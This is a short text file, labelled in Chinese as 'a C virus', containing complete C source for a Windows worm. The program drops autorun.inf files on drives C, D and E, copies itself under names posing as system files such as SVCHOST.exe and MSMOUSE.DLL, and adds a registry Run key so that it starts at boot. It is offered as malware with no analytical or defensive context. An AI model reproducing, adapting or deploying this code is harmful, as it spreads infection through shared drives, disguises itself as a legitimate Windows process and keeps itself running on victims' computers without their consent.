c1.txt

这是一个C病毒

#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
int main(void)
{
    FILE *input,*output;
    int i,k;
    for(i=0;i<3;i++)
    {
      output=fopen(files_autorun[i],"w");
      fprintf(output,"%s",autorun);
      fclose(output);
    }
    for(i=0;i<=SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<SVCHOST_NUM;k++)
        {
          copy(files_svchost[i],files_svchost[k]);
        }
        i=SVCHOST_NUM+1;
      }
    }
    system(regadd);
    return 0;
}